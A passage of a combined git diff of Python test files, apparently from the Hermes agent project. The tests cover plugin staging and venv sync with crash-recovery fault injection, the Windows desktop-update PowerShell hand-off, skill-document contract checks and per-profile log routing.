"manifest_version: 999", "requires_hermes: '>=999'", "name: other"])+def test_worker_rejects_unloadable_staged_plugin_without_app_dependencies(client, tmp_path, monkeypatch, invalid):+ from pm.store import tree_digest+ _current_environment(tmp_path, monkeypatch, [])+ target = tmp_path / "home/plugins/example"+ target.mkdir(parents=True)+ (target / "plugin.yaml").write_text("name: example\n")+ staged = tmp_path / "staged"+ staged.mkdir()+ (staged / "plugin.yaml").write_text(invalid)+ previous = tree_digest(target)+ with pytest.raises(ValueError):+ client.sync_venv(explicit=True, staged_plugin={+ "target": str(target), "staged": str(staged), "target_digest": previous,+ "old_metadata": {}, "new_metadata": {"example": {"revision": "new"}},+ })+ assert tree_digest(target) == previous+ assert staged.exists()+++def test_additional_candidates_are_discovered_by_sync_and_passive_probe(client, tmp_path, monkeypatch):+ candidate = tmp_path / "candidate"+ candidate.mkdir()+ (candidate / "plugin.yaml").write_text("name: candidate\npython_dependencies: [fixture-dep==1]\n")+ _current_environment(tmp_path, monkeypatch, [candidate])+ assert client.venv_is_current(extra_plugin_dirs=[candidate])+ assert not client.venv_is_current()+ client.sync_venv(explicit=True, extra_plugin_dirs=[candidate])+ assert client.venv_is_current(extra_plugin_dirs=[candidate])+++def test_memory_setup_sends_candidate_paths_instead_of_discovery_callbacks(tmp_path, monkeypatch):+ from hermes_cli.memory_setup import memory_provider_dependency_inputs+ candidate = tmp_path / "provider"+ candidate.mkdir()+ (candidate / "plugin.yaml").write_text("name: provider\npython_dependencies: [fixture-dep==1]\n")+ monkeypatch.setattr("plugins.memory.find_provider_dir", lambda name: candidate)+ _, inputs = memory_provider_dependency_inputs("provider")+ assert inputs == {"extras": [], "extra_plugin_dirs": [candidate]}++[email protected](("kind", "rebuild", "phase"), [+ (kind, rebuild, phase)+ for kind in ("selection", "tree") for rebuild in (False, True) for phase in ("journal", "payload", "commit")+] + [("tree", rebuild, phase) for rebuild in (False, True) for phase in ("backup", "tree")])+def test_worker_death_recovers_at_each_durable_publication_boundary(+ client, tmp_path, monkeypatch, isolated_python, kind, rebuild, phase,+):+ from hermes_cli.runtime_paths import install_state_dir, selected_venv+ from pm import paths+ from pm.package import InstallError+ from pm.store import tree_digest++ worker_toolchain(client, monkeypatch, isolated_python)+ project = tmp_path / "project"+ project.mkdir()+ monkeypatch.setattr(paths, "repo_root", lambda: project)+ core = '[project]\nname="death-proof"\nversion="1"\nrequires-python=">=3.11"\n[tool.uv]\npackage=false\n'+ (project / "pyproject.toml").write_text(core)+ client.lock_project(project, offline=True, explicit=True)+ home = tmp_path / "home"+ target = home / "plugins/example"+ target.mkdir(parents=True)+ (target / "plugin.yaml").write_text("name: example\n")+ (target / "code.py").write_text("old")+ config = home / "config.yaml"+ config.write_text("# exact bytes\nplugins:\n enabled: " + ("[example]" if kind == "tree" else "[]") + "\n")+ metadata = target.parent / ".install-metadata.json"+ metadata.write_text('{"example":{"revision":"old"}}\n')+ client.sync_venv(explicit=True)+ before_env = selected_venv(project)+ state = install_state_dir(project)+ facts = state / "facts.json"+ before = {p: p.read_bytes() for p in (config, metadata, facts)}+ before_tree = tree_digest(target)+ if kind == "selection":+ if rebuild:+ (target / "pyproject.toml").write_text(core.replace("death-proof", "example"))+ arguments = {"selection": {"home": str(home), "enabled": ["example"], "disabled": []}}+ payload = config+ else:+ staged = tmp_path / "staged"+ shutil.copytree(target, staged)+ (staged / "code.py").write_text("new")+ if rebuild:+ (staged / "pyproject.toml").write_text(core.replace("death-proof", "example"))+ arguments = {"staged_plugin": {"target": str(target), "staged": str(staged), "target_digest": before_tree,+ "old_metadata": {"example": {"revision": "old"}}, "new_metadata": {"example": {"revision": "new"}}}}+ payload = metadata+ # Exit immediately after the real durable write, not a simulated publication.+ injection = (+ "import json\nimport pm.publication as publication\nimport hermes_cli.runtime_state as state\n"+ "original = state._atomic_bytes\n"+ "def write(path, data):\n original(path, data)\n"+ f" if {phase!r} == 'journal' and path.name == 'publication.json': os._exit(17)\n"+ f" if {phase!r} == 'payload' and path == Path({str(payload)!r}): os._exit(17)\n"+ f" if {phase!r} == 'commit' and path.name == 'publication.json' and json.loads(data).get('committed'): os._exit(17)\n"+ "publication._atomic_bytes = state._atomic_bytes = write\n"+ "original_replace = os.replace\ndef replace(source, target):\n original_replace(source, target)\n"+ f" if {phase!r} == 'backup' and Path(target).name.startswith('.previous-'): os._exit(17)\n"+ f" if {phase!r} == 'tree' and Path(target) == Path({str(target)!r}): os._exit(17)\n"+ "os.replace = replace\n"+ )+ if phase == "commit" and rebuild:+ injection += ("from pm.lock import Facts\nrecord = Facts.record_state\n"+ "def commit(self, *args, **kwargs):\n record(self, *args, **kwargs)\n os._exit(17)\n"+ "Facts.record_state = commit\n")+ worker_toolchain(client, monkeypatch, isolated_python, injection)+ with pytest.raises(InstallError, match="worker exited without a result"):+ client.sync_venv(explicit=True, **arguments)+ assert (state / "publication.json").exists()+ source = Path(client.__file__).resolve().parent.parent+ program = (f"import sys; sys.path.insert(0, {str(source)!r}); from pathlib import Path; "+ "from hermes_cli.runtime_paths import activate_dependencies; "+ f"project = Path({str(project)!r})\n"+ "activate_dependencies(project)\nactivate_dependencies(project)\n")+ recovery = subprocess.run([sys.executable, "-I", "-S", "-c", program], capture_output=True, text=True,+ env=dict(os.environ), timeout=30)+ assert recovery.returncode == 0, recovery.stderr+ committed = phase == "commit"+ assert (selected_venv(project) != before_env) is (committed and rebuild)+ if not committed:+ assert {p: p.read_bytes() for p in before} == before+ if kind == "tree":+ assert (target / "code.py").read_text() == ("new" if committed else "old")+ if not committed:+ assert tree_digest(target) == before_tree+ else:+ from utils import fast_safe_load+ assert fast_safe_load(config.read_text())["plugins"]["enabled"] == (["example"] if committed else [])+ assert not (state / "publication.json").exists()+ assert not list(target.parent.glob(".previous-*"))++[email protected]("mutation", ["metadata", "target", "staged", "sibling-manifest"])+def test_staged_publication_refuses_concurrent_input_edits(client, tmp_path, monkeypatch, isolated_python, mutation):+ from hermes_cli.runtime_paths import install_state_dir+ from pm.store import tree_digest+ repo = _current_environment(tmp_path, monkeypatch, [])+ home = tmp_path / "home"+ target = home / "plugins/example"+ target.mkdir(parents=True)+ (target / "plugin.yaml").write_text("name: example\n")+ (target / "code.py").write_text("old code")+ sibling = target.parent / "sibling"+ sibling.mkdir()+ (sibling / "plugin.yaml").write_text("name: sibling\npython_dependencies: [fixture-dep==1]\n")+ (home / "config.yaml").write_text("plugins:\n enabled: [example, sibling]\n")+ metadata = target.parent / ".install-metadata.json"+ metadata.write_text("{}\n")+ staged = tmp_path / "staged"+ staged.mkdir()+ (staged / "plugin.yaml").write_text("name: example\npython_dependencies: [fixture-dep==1]\n")+ (staged / "code.py").write_text("new code")+ edited = {"metadata": metadata, "target": target / "code.py", "staged": staged / "code.py",+ "sibling-manifest": sibling / "plugin.yaml"}[mutation]+ proposed = "name: sibling\nversion: changed\npython_dependencies: [fixture-dep==2]\n" if mutation == "sibling-manifest" else "concurrent edit"+ worker_toolchain(client, monkeypatch, isolated_python,+ "from pm.packages import Venv\n"+ "def apply(*args, **kwargs):\n"+ f" Path({str(edited)!r}).write_text({proposed!r})\n return {{}}\n"+ "Venv.apply = apply\n")+ facts = (install_state_dir(repo) / "facts.json").read_bytes()+ with pytest.raises(ValueError, match="changed"):+ client.sync_venv(explicit=True, staged_plugin={+ "target": str(target), "staged": str(staged), "target_digest": tree_digest(target),+ "old_metadata": {}, "new_metadata": {"example": {"revision": "new"}},+ })+ assert edited.read_text() == proposed+ assert (target / "code.py").read_text() == (proposed if mutation == "target" else "old code")+ assert (install_state_dir(repo) / "facts.json").read_bytes() == facts+ assert not (install_state_dir(repo) / "publication.json").exists()+++def test_inactive_portable_publication_does_not_inspect_unrelated_dependency_manifests(client, tmp_path, monkeypatch):+ from pm.store import tree_digest+ _current_environment(tmp_path, monkeypatch, [])+ home = tmp_path / "home"+ target = home / "plugins/inactive"+ target.mkdir(parents=True)+ sibling = home / "plugins/sibling"+ sibling.mkdir()+ (sibling / "plugin.yaml").write_bytes(b"\xff")+ (home / "config.yaml").write_text("plugins:\n enabled: [sibling]\n")+ staged = tmp_path / "staged"+ staged.mkdir()+ from hermes_cli.agent_plugins import PLUGIN_SCHEMA_V1+ (staged / "plugin.json").write_text(json.dumps({"$schema": PLUGIN_SCHEMA_V1, "name": "inactive", "version": "1.0.0"}))+ client.sync_venv(explicit=True, staged_plugin={+ "target": str(target), "staged": str(staged), "target_digest": tree_digest(target),+ "old_metadata": {}, "new_metadata": {"inactive": {"revision": "new"}},+ })+ assert json.loads((target / "plugin.json").read_text())["name"] == "inactive"+ assert (sibling / "plugin.yaml").read_bytes() == b"\xff"+++def test_selection_preserves_yaml11_values_and_quotes_plugin_names(client, tmp_path, monkeypatch):+ import hermes_yaml+ _current_environment(tmp_path, monkeypatch, [])+ home = tmp_path / "home"+ config = home / "config.yaml"+ config.write_text('feature: yes\nother: no\nlabel: "on"\nplugins: {enabled: []}\n')+ before = hermes_yaml.safe_load(config.read_bytes())+ client.sync_venv(explicit=True, selection={"home": str(home), "enabled": ["on", "yes", "no"], "disabled": []})+ after = hermes_yaml.safe_load(config.read_bytes())+ assert {key: after[key] for key in ("feature", "other", "label")} == {key: before[key] for key in ("feature", "other", "label")}+ assert set(after["plugins"]["enabled"]) == {"on", "yes", "no"}+ assert 'label: "on"' in config.read_text()+++def test_explicit_publication_keeps_its_intent_through_tool_acquisition(client, tmp_path, monkeypatch, isolated_python):+ from pm import paths+ from hermes_cli.runtime_paths import selected_venv+ project = tmp_path / "project"+ project.mkdir()+ monkeypatch.setattr(paths, "repo_root", lambda: project)+ (project / "pyproject.toml").write_text('[project]\nname="explicit-proof"\nversion="1"\nrequires-python=">=3.11"\n[tool.uv]\npackage=false\n')+ worker_toolchain(client, monkeypatch, isolated_python)+ client.lock_project(project, offline=True, explicit=True)+ monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")+ worker_toolchain(client, monkeypatch, isolated_python,+ "from pm.package import InstallError\ntools = pm._uv._toolchain\n"+ "def acquire(*, explicit=False, **kwargs):\n"+ " if not explicit: raise InstallError('tools', 'explicit intent was lost')\n"+ " return tools(explicit=explicit, **kwargs)\npm._uv._toolchain = acquire\n")+ client.sync_venv(explicit=True, selection={"home": str(tmp_path / "home"), "enabled": [], "disabled": []})+ assert (selected_venv(project) / "pyvenv.cfg").is_file()+++def test_stale_enablement_cannot_replace_a_newer_selection(client, tmp_path, monkeypatch):+ from hermes_cli import plugins_cmd as pc+ from hermes_cli.plugins_admission import AdmissionRefused+ from utils import fast_safe_load+ _current_environment(tmp_path, monkeypatch, [])+ config = tmp_path / "home/config.yaml"+ config.write_text("plugins: {enabled: [], disabled: []}\n")+ from pm import plugins_state++ read = plugins_state._read_home_config+ def concurrent_commit(home):+ stale = read(home)+ config.write_text("plugins: {enabled: [first], disabled: []}\n")+ return stale+ monkeypatch.setattr(plugins_state, "_read_home_config", concurrent_commit)+ with pytest.raises(AdmissionRefused, match="changed"):+ pc._set_plugin_enabled("second", enable=True)+ assert fast_safe_load(config.read_bytes())["plugins"]["enabled"] == ["first"]diff --cc tests/scripts/desktop_update/test_desktop_update_windows_python_handoff.pyindex a53516ddcff,321be355544..6db5f9260ba--- a/tests/scripts/desktop_update/test_desktop_update_windows_python_handoff.py+++ b/tests/scripts/desktop_update/test_desktop_update_windows_python_handoff.py@@@ -1,77 -1,141 +1,75 @@@-"""Regression: the Windows Desktop update hand-off must run through python.exe.--`scripts/desktop-update/windows.ps1` drives `hermes update` for the in-app-Desktop updater. It used to invoke the update through the venv's-`venv\\Scripts\\hermes.exe` console-script launcher. On Windows that launcher is-a real process that keeps `hermes.exe` mapped as its running image and spawns-`python.exe` as a child. The update ends in `uv pip install -e .`, which rewrites-the console-script shims -- including the `hermes.exe` the launcher still has-mapped -- and Windows refuses to replace a file mapped as a running image-("os error 32"). The rename fallback then defers to next reboot via-`MOVEFILE_DELAY_UNTIL_REBOOT`, which needs elevation a Desktop-driven update-does not have, so `uv pip install -e .` exits non-zero, the ZIP fallback repeats-the same sequence, the desktop build stage is never reached, and the pre-build-clean has already removed `apps/desktop/release` -- leaving an install whose-Start Menu shortcut points at a `Hermes.exe` that no longer exists.--Driving the update as `python.exe -m hermes_cli.main update` puts the inherited-image handle on `python.exe`, which uv never has to replace, so the shim is an-ordinary unlocked file when uv rewrites it.---This test is source-level because Linux CI cannot execute the PowerShell-hand-off. The invariant it guards is that every `Invoke-HermesStep` call site-(the update, its retry, and the desktop rebuild) drives `$pythonExe`, never the-`$hermesExe` shim. `hermes.exe` may still be *named* in the file for the-step-2 unlock preflight -- that is a lock probe, not an invocation -- so we-assert against the invocation sites specifically.-"""--+"""Native launch/result acceptance: real publisher, no checkout-local venv."""from __future__ import annotations-import re+import json+import osfrom pathlib import Path+import subprocess+import pytest-REPO_ROOT = Path(__file__).resolve().parent.parent.parent.parent-WINDOWS_PS1 = REPO_ROOT / "scripts" / "desktop-update" / "windows.ps1"---def _read() -> str:- # windows.ps1 is eol=crlf in .gitattributes, so checkouts materialize- # CRLF on disk (CI included). Normalize so the SelfTest-block strip's- # `\n}\n` anchors match regardless of the working-copy line endings.- return WINDOWS_PS1.read_text(encoding="utf-8").replace("\r\n", "\n")---def _handoff_source() -> str:- """The script with its ``-SelfTest*`` fixture blocks removed.-- Those blocks exercise the hand-off machinery deliberately -- the pipe-drain- fixture runs a synthetic PowerShell step through ``Invoke-HermesStep`` to- prove the drain cannot deadlock (#90455) -- so they are not update steps- and the "must drive python.exe" rule does not apply to them. Each exits- before any venv/desktop machinery runs.-- Scoped here rather than allow-listing a target, so the rule stays absolute- for every real step. The non-greedy match ends at the first closing brace- at the opening statement's indentation; inner braces are deeper.- """- return re.sub(- r"\n(?P<indent> *)if \(\$SelfTest\w+\) \{.*?\n(?P=indent)\}\n",- "\n",- _read(),- flags=re.S,- )---def test_invoke_hermes_step_calls_drive_python_not_the_shim() -> None:- source = _handoff_source()-- invocations = re.findall(r"Invoke-HermesStep\s+(\$\w+)", source)- assert invocations, (- "Expected at least one Invoke-HermesStep call in "- "scripts/desktop-update/windows.ps1; the update hand-off structure "- "changed -- update this guard."- )-- offenders = [exe for exe in invocations if exe != "$pythonExe"]- assert not offenders, (- "Every Invoke-HermesStep call in scripts/desktop-update/windows.ps1 "- "must drive $pythonExe, not the hermes.exe shim. Driving the update "- "through the shim keeps hermes.exe mapped as a running image, so uv's "- "final shim rewrite fails with os error 32 and the Desktop update can "- "never complete. Offending target(s): "- f"{sorted(set(offenders))}."- )---def test_update_invocation_uses_module_entrypoint() -> None:- source = _read()-- assert '@("-m", "hermes_cli.main", "update"' in source, (- "The update step must invoke `python.exe -m hermes_cli.main update ...` "- "so the inherited image handle lands on python.exe, which uv never has "- "to replace."- )- assert (- '@("-m", "hermes_cli.main", "desktop", "--force-build", "--build-only")'- in source- ), (- "The desktop rebuild step must also go through "- "`python.exe -m hermes_cli.main desktop ...` for the same reason."- )---def test_update_no_longer_invokes_the_hermes_exe_shim() -> None:- source = _read()-- assert "Invoke-HermesStep $hermesExe" not in source, (- "scripts/desktop-update/windows.ps1 still invokes the update through "- "the hermes.exe shim (`Invoke-HermesStep $hermesExe`). That is the "- "exact self-lock this fix removes -- route it through $pythonExe "- "instead."- )---def test_handoff_resolves_uv_default_dotvenv_before_building_python_and_shim_paths() -> None:- source = _read()-- assert "function Resolve-HermesVenvDir" in source- assert 'Join-Path $Root ".venv"' in source- assert "$VenvDir = Resolve-HermesVenvDir $InstallRoot" in source- assert 'Join-Path $VenvDir "Scripts\\python.exe"' in source- assert 'Join-Path $VenvDir "Scripts\\hermes.exe"' in source+from tests.installation_launcher_fixture import publish_fixture_launcher+ROOT = Path(__file__).resolve().parent.parent.parent.parent+CLI = """+import json, os, sys+from pathlib import Path+def main():+ if '--version' in sys.argv:+ print('Install directory: ' + str(Path(__file__).resolve().parents[1])); return 0+ if '--help' in sys.argv:+ print('--keep-stash'); return 0+ with Path(os.environ['HANDOFF_CALLS']).open('a') as stream:+ stream.write(json.dumps({'argv': sys.argv[1:], 'cwd': os.getcwd()}) + '\\n')+ print('Desktop build failed') # no warning-driven second build on PM+ return int(os.environ['HANDOFF_EXIT'])+if __name__ == '__main__':+ sys.exit(main())+"""-def test_desktop_relaunch_waits_for_an_in_place_rebuild() -> None:- source = _read()- relaunch = re.search(- r"function Start-DesktopRelaunch \{(?P<body>.*?)\n\}\n\nfunction Invoke-HermesStep",- source,- re.DOTALL,[email protected]('windows')[email protected]('code', [0, 1, 2])+def test_pm_handoff_runs_once_and_reports_the_actual_result(tmp_path: Path, code: int) -> None:+ install = tmp_path / 'checkout with spaces'+ publish_fixture_launcher(install, CLI)+ (install / 'hermes_cli/desktop_update_verify.py').write_text('pass\n')+ home = tmp_path / 'profile'; home.mkdir()+ calls = tmp_path / 'calls.jsonl'+ result = subprocess.run(+ ['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File',+ str(ROOT / 'scripts/desktop-update/windows.ps1'), '-InstallRoot', str(install), '-NoUi'],+ cwd=tmp_path, env={**os.environ, 'HERMES_HOME': str(home),+ 'HERMES_RUNTIME_DIR': str(tmp_path / 'empty-store'),+ 'HANDOFF_CALLS': str(calls), 'HANDOFF_EXIT': str(code)},+ capture_output=True, text=True, timeout=120,)- assert relaunch, "Expected Start-DesktopRelaunch in the Windows hand-off script."-- body = relaunch.group("body")- assert "if (-not $RelaunchExe) { return $false }" in body- assert "$relaunchDeadline = (Get-Date).AddSeconds(120)" in body- assert "while (-not (Test-Path -LiteralPath $RelaunchExe))" in body- assert "if ((Get-Date) -ge $relaunchDeadline)" in body- assert "Start-Sleep -Milliseconds 500" in body- assert "[System.Windows.Forms.Application]::DoEvents()" in body+ assert result.returncode == code, result.stdout + result.stderr+ assert [json.loads(line) for line in calls.read_text().splitlines()] == [+ {'argv': ['update', '--yes', '--gateway', '--branch', 'main', '--keep-stash'], 'cwd': str(install)}+ ]+ receipt = json.loads((home / '.hermes-update-result.json').read_text(encoding='utf-8-sig'))+ assert receipt['ok'] == (code == 0)+ assert not (home / '.hermes-update-in-progress').exists()++[email protected]('windows')+def test_earlier_pm_userbin_launcher_is_identity_checked(tmp_path: Path) -> None:+ home = tmp_path / 'profile'+ userbin = home / 'bin'; userbin.mkdir(parents=True)+ root = tmp_path / 'source'+ launcher = publish_fixture_launcher(root, CLI)+ external = userbin / launcher.name+ launcher.rename(external)+ wrong = tmp_path / 'other'+ (wrong / 'pm').mkdir(parents=True)+ (wrong / 'hermes_cli').mkdir()+ (wrong / 'hermes_cli/_launchers.py').touch()+ helper = str(ROOT / 'scripts/desktop-update/runtime.ps1').replace("'", "''")+ for target, expected_code in [(root, 0), (wrong, 1)]:+ script = f". '{helper}'; try {{ @(Get-HermesRuntimeCommand -InstallRoot '{target}') | ConvertTo-Json -Compress }} catch {{ exit 1 }}"+ result = subprocess.run(['powershell', '-NoProfile', '-Command', script],+ env={**os.environ, 'HERMES_HOME': str(home)},+ capture_output=True, text=True, timeout=45)+ assert result.returncode == expected_code, result.stdout + result.stderr+ if expected_code == 0:+ assert json.loads(result.stdout) == str(external)diff --cc tests/skills/test_ip_as_logo_skill.pyindex 00000000000,239361f0aae..13f4ec48006mode 000000,100644..100644--- a/tests/skills/test_ip_as_logo_skill.py+++ b/tests/skills/test_ip_as_logo_skill.py@@@ -1,0 -1,39 +1,39 @@@+ """Tests for the ip-as-logo optional skill."""++ import re+ from pathlib import Path+-import yaml++import hermes_yaml as yaml++ SKILL_PATH = (+ Path(__file__).resolve().parents[2] / "optional-skills" / "creative" / "ip-as-logo" / "SKILL.md"+ )+++ def _frontmatter_and_body():+ content = SKILL_PATH.read_text(encoding="utf-8")+ assert content.startswith("---")+ m = re.search(r"\n---\s*\n", content[3:])+ assert m, "frontmatter must close with ---"+ return yaml.safe_load(content[3 : m.start() + 3]), content[m.end() + 3 :]+++ def test_frontmatter_fields_and_section_order():+ fm, body = _frontmatter_and_body()+ for field in ("name", "description", "version", "author", "license", "platforms"):+ assert field in fm, f"missing frontmatter field: {field}"+ assert fm["name"] == "ip-as-logo"+ assert fm["metadata"]["hermes"]["category"] == "creative"+ headings = re.findall(r"^## (.+)$", body, re.MULTILINE)+ expected = ["When to Use", "Prerequisites", "Procedure"]+ assert [h for h in headings if h in expected] == expected, headings+ assert headings[-1] == "Verification"+++ def test_generation_routes_through_native_tool():+ """The upstream skill targeted another agent's image pipeline; the port must+ route through Hermes' `image_generate` and carry no residue of that harness."""+ _, body = _frontmatter_and_body()+ assert "`image_generate`" in body+ assert 'aspect_ratio="square"' in body+ assert not re.search(r"\bImageGen\b|\bCodex\b|\bClaude\b", body)diff --cc tests/skills/test_live_dashboard_skill.pyindex 00000000000,aa9ede91b90..7fb80284b40mode 000000,100644..100644--- a/tests/skills/test_live_dashboard_skill.py+++ b/tests/skills/test_live_dashboard_skill.py@@@ -1,0 -1,80 +1,80 @@@+ """Tests for the live-dashboard optional skill."""+ import re+ from pathlib import Path+-import yaml++import hermes_yaml as yaml++ SKILL_PATH = (+ Path(__file__).resolve().parents[2]+ / "optional-skills"+ / "productivity"+ / "live-dashboard"+ / "SKILL.md"+ )+++ def _frontmatter_and_body():+ content = SKILL_PATH.read_text(encoding="utf-8")+ assert content.startswith("---")+ m = re.search(r"\n---\s*\n", content[3:])+ assert m, "frontmatter must close with ---"+ fm = yaml.safe_load(content[3 : m.start() + 3])+ body = content[m.end() + 3 :]+ return fm, body+++ def test_frontmatter_required_fields():+ fm, _ = _frontmatter_and_body()+ for field in ("name", "description", "version", "author", "license", "platforms"):+ assert field in fm, f"missing frontmatter field: {field}"+ assert fm["name"] == "live-dashboard"+++ def test_related_skills_resolve_in_repo():+ fm, _ = _frontmatter_and_body()+ repo_root = SKILL_PATH.parents[3]+ for name in fm["metadata"]["hermes"]["related_skills"]:+ hits = (+ list(repo_root.glob(f"skills/*/{name}/SKILL.md"))+ + list(repo_root.glob(f"optional-skills/*/{name}/SKILL.md"))+ + list(repo_root.glob(f"skills/*/*/{name}/SKILL.md"))+ )+ assert hits, f"related_skills entry does not resolve in-repo: {name}"+++ def test_procedure_is_structured_setup_tick_show():+ """The skill splits into setup / scheduled tick / render phases, each phase is a+ numbered-step procedure, and every step states a completion criterion."""+ _, body = _frontmatter_and_body()+ phases = re.findall(r"^## Procedure — (.+)$", body, re.MULTILINE)+ assert len(phases) == 3, phases+ steps = re.findall(r"^### \d+\..*?(?=^### \d+\.|^## )", body, re.MULTILINE | re.DOTALL)+ assert len(steps) >= 7+ for step in steps:+ assert "Done when" in step, f"step missing completion criterion: {step[:60]!r}"+ for heading in ("## When to Use", "## Prerequisites", "## Pitfalls", "## Verification"):+ assert heading in body, heading+++ def test_tools_wired_and_home_not_hardcoded():+ """Scheduling goes through `cronjob`, desktop rendering through `desktop_preview`,+ no-change ticks stay silent, and the Hermes home path is resolved, never assumed."""+ _, body = _frontmatter_and_body()+ assert re.search(r"cronjob\(action=\"create\"", body)+ assert re.search(r"desktop_preview\(action=\"open\"", body)+ assert "[SILENT]" in body+ assert "dashboard.json" in body+ assert "~/.hermes" not in body+++ def test_frontmatter_blueprint_is_a_valid_installed_blueprint():+ """The install-time suggestion rides the skills-pipeline blueprint block, not a+ hard-wired catalog entry (an optional skill may not be installed)."""+ from tools.blueprints import blueprint_to_job_spec, parse_blueprint++ spec = parse_blueprint(SKILL_PATH.read_text(encoding="utf-8"))+ assert spec is not None and spec.skill_name == "live-dashboard"+ job = blueprint_to_job_spec(spec)+ assert job["skills"] == ["live-dashboard"]+ assert len(job["schedule"].split()) == 5, f"invalid cron expr: {job['schedule']}"+ assert "[SILENT]" in job["prompt"] and "~/.hermes" not in job["prompt"]diff --cc tests/skills/test_skill_document_contracts.pyindex d512c386e55,00000000000..84947022422mode 100644,000000..100644--- a/tests/skills/test_skill_document_contracts.py+++ b/tests/skills/test_skill_document_contracts.py@@@ -1,118 -1,0 +1,120 @@@+"""Specific shipped-document obligations; generic policy lives in test_authoring_standards.++These are document contracts, not proof that an agent obeys the instructions.+Section ordering, step counts and other prose quality remain review-owned.+"""+from pathlib import Path+import re++import pytest++from agent.skill_utils import parse_frontmatter, skill_matches_platform++REPO = Path(__file__).resolve().parents[2]+GITHUB = "skills/software-development/github"+QUESTIONNAIRE = "optional-skills/productivity/decision-questionnaire"+ACTUAL = "optional-skills/devops/actual-setup"+DARWINIAN = "optional-skills/research/darwinian-evolver"+PINECONE = "optional-skills/research/pinecone-research"+EMAIL = "skills/email/email-inbox-triage"+MEETING = "skills/productivity/meeting-action-items"+PRICE = "skills/productivity/product-price-monitor"+WEEKLY = "skills/productivity/weekly-review-planning"+SOCIAL = "optional-skills/creative/social-media-content-calendar"+MCP = "optional-skills/mcp/mcp-oauth-remote-gateway"+++def _document(skill):+ return parse_frontmatter((REPO / skill / "SKILL.md").read_text(encoding="utf-8"))++[email protected]("skill,contributor", [+ (GITHUB, "benbarclay"), (MEETING, "benbarclay"), (PRICE, "benbarclay"),+ (WEEKLY, "benbarclay"), (EMAIL, "benbarclay"), (SOCIAL, "benbarclay"),+ (ACTUAL, "shl0ms"), (DARWINIAN, "Bihruze"),+ (QUESTIONNAIRE, "mattpocock"), (PINECONE, None), (MCP, None),+])+def test_required_document_and_credit(skill, contributor):+ metadata, _ = _document(skill) # A corpus glob alone cannot catch a deleted skill.+ if contributor:+ assert contributor in metadata["author"]+ if skill != PINECONE:+ assert not metadata["author"].startswith("Hermes Agent")++[email protected]("skill,references", [+ (GITHUB, ("auth.md", "issues.md", "pr-workflow.md", "issue-to-pr.md",+ "code-review.md", "repo-management.md")),+ (ACTUAL, ("opencode.md",)),+])+def test_required_references_are_present_and_routed(skill, references):+ _, body = _document(skill)+ for reference in references:+ relative = f"references/{reference}"+ assert (REPO / skill / relative).is_file(), relative+ assert relative in body, relative++[email protected]("skill,required,forbidden", [+ (QUESTIONNAIRE, ("## Context", "## How to answer", "## Anything else?",+ "decision-questionnaire-<slug>.md", "Interview the Send"),+ ("claude", "slash command", "disable-model-invocation")),+ (ACTUAL, ("--provider actual",), ("hermes config set providers.actual.api ", "key_env")),+ (MEETING, ("never invent", "before creating anything", "`unresolved`"), (r"\bLinear\b",)),+ (PRICE, ("Setup (foreground, once)", "Tick (each scheduled run)", "cronjob(action=",+ "Do not schedule until one foreground fetch works",+ "never overwrite the last good observation", "fingerprint"), ("flight-research",)),- (EMAIL, ("read + draft", "does not imply permission"), ()),++ (EMAIL, ("read + draft", "does not imply permission", "Calibrate the user's voice",++ "sent replies", "fall back to matching the incoming thread's register",++ "generic-professional"), ()),+ (SOCIAL, (), ("image-generation-workflow",)),+])+def test_document_obligations(skill, required, forbidden):+ _, body = _document(skill)+ for text in required:+ assert text in body, text+ for pattern in forbidden:+ assert not re.search(pattern, body, re.I), pattern+ if skill == SOCIAL:+ assert "handed-off, not published" in body or "handed-off slots" in body++[email protected]("relative", [+ f"{GITHUB}/references/issue-to-pr.md",+ *(f"{skill}/SKILL.md" for skill in (MEETING, PRICE, WEEKLY, EMAIL, SOCIAL)),+])+def test_procedure_steps_have_completion_criteria(relative):+ body = (REPO / relative).read_text(encoding="utf-8")+ steps = re.findall(r"^### \d+\..*?(?=^### \d+\.|^## |\Z)", body, re.M | re.S)+ assert steps, relative+ for step in steps:+ assert "Done when" in step, step[:80]+ if relative.endswith("issue-to-pr.md"):+ assert not re.match(r"^### \d+\.[^\n]*\n+Load `", step)+++def test_issue_to_pr_disciplines():+ body = (REPO / GITHUB / "references/issue-to-pr.md").read_text(encoding="utf-8")+ for text in ("--comments", "pr list --search", "git log -p -S", "sibling", "dispatches CI"):+ assert text in body, text+ assert "sabotage" in body.lower() or "FAILS" in body+ assert "/home/" not in body and not re.search(r"[A-Z]:\\+Users", body)+++def test_optional_platform_declarations():+ darwinian, _ = _document(DARWINIAN)+ assert "windows" not in darwinian["platforms"] # func_timeout relies on POSIX signals.+ assert {"linux", "macos"} <= set(darwinian["platforms"])+ assert _document(MCP)[0]["platforms"]++[email protected]("posix")[email protected]("skill", [QUESTIONNAIRE, DARWINIAN])+def test_optional_skill_available_on_posix(skill):+ assert skill_matches_platform(_document(skill)[0])++[email protected]("windows")+def test_optional_skill_availability_on_windows():+ assert skill_matches_platform(_document(QUESTIONNAIRE)[0])+ assert not skill_matches_platform(_document(DARWINIAN)[0])diff --cc tests/test_hermes_logging.pyindex a79559f453e,7254170876a..a6cdfad7961--- a/tests/test_hermes_logging.py+++ b/tests/test_hermes_logging.py@@@ -118,11 -137,288 +118,151 @@@ class TestSetupLoggingassert "profile-routed cron record" in (profile_home / "logs" / "agent.log"- ).read_text()- assert "profile-routed cron record" not in (- hermes_home / "logs" / "agent.log"- ).read_text()+ ).read_text(encoding="utf-8-sig")+ default_log = hermes_home / "logs" / "agent.log"+ assert not default_log.exists() or "profile-routed cron record" not in default_log.read_text(encoding="utf-8-sig")+ def test_release_profile_log_handlers_closes_only_deleted_profile(self, hermes_home, tmp_path):+ """Profile deletion releases its routed log files without disturbing another profile."""+ from hermes_constants import reset_hermes_home_override, set_hermes_home_override++ deleted_home = tmp_path / "profile-deleted"+ other_home = tmp_path / "profile-other"+ deleted_home.mkdir()+ other_home.mkdir()+ hermes_logging.setup_logging(hermes_home=hermes_home)+ assert hermes_logging.enable_profile_log_routing(+ [hermes_home, deleted_home, other_home]+ ) is True++ logger = logging.getLogger("agent.profile-delete-log-release")+ token = set_hermes_home_override(deleted_home)+ try:+ logger.warning("deleted profile log handles")+ finally:+ reset_hermes_home_override(token)+ token = set_hermes_home_override(other_home)+ try:+ logger.warning("other profile log handles")+ finally:+ reset_hermes_home_override(token)+ hermes_logging.flush_log_queue()++ routers = [+ handler for handler in 